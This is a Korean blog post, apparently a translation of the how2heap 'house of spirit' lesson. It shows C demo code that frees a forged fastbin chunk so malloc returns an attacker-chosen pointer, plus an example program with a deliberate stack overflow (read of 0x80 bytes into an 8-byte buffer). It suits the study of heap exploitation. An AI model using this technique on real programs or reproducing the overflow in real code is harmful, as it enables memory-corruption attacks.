1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35 |
#include <stdio.h>
#include <stdlib.h>
int main()
{
printf("This file demonstrates the house of spirit attack.\n");
printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);
printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
printf("This region must contain two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[7]);
printf("This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size
printf("The chunk.size of the *next* fake region has be above 2*SIZE_SZ (16 on x64) but below av->system_mem (128kb by default for the main arena) to pass the nextsize integrity checks .\n");
fake_chunks[9] = 0x2240; // nextsize
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n");
free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
printf("malloc(0x30): %p\n", malloc(0x30));
}
|
cs |
간단하게 말하자면,
"Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer."
가짜 fastbin chunk 를 free 시켜서 malloc 할당 시 임의의 포인터를 반환하도록 한다. 즉, 이를 통해 우리가 원하는 곳에 값을 쓸 수 있다.
heap overflow 를 통한 fd overwrite 와 다른 점은, House of Spirit 는 free 의 목표 주소를 변조하여 fake chunk 를 fastbin 에 넣고, 그 뒤에 malloc 을 통해 fake chunk 를 반환받는다.
* example code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
void *p = malloc(32);
char buf[8];
read(0, buf, 0x80);
free(p);
malloc(32);
}
위 코드에서 데이터를 read 하여 buf 에 저장 시, 오버플로우를 통해 fake chunk 를 만들고 p 를 fake chunk 에 대응하는 메모리 주소로 수정이 가능하다.
malloc.c 의 코드를 보면 위 그림과 같은 부분이 존재하는데, glibc 에서 free 할 때 뒤에 인접한 chunk 의 크기를 검사한다.
따라서, fake chunk 뒤에 next fake chunk 또한 필요하다.
next fake chunk 의 사이즈가 SIZE_SZ*2 보다 작거나 av->system_mem 보다 크지 않으면 된다.
fastbin 에 fake chunk 주소가 free 되어 들어간 것을 확인할 수 있다.
다음 malloc(32) 실행 시, malloc(32) 에서 반환하는 주소는 0xbffff6e0 이 된다.
'system' 카테고리의 다른 글
Disabling Memory Protection on Linux (0) | 2017.05.05 |
---|---|
[how2heap translation] house_of_force.c (0) | 2017.05.03 |
c library hook, atexit (0) | 2017.03.29 |
[how2heap translation] unsafe_unlink.c (0) | 2017.03.03 |
[how2heap translation] unsorted_bin_attack.c (0) | 2017.02.07 |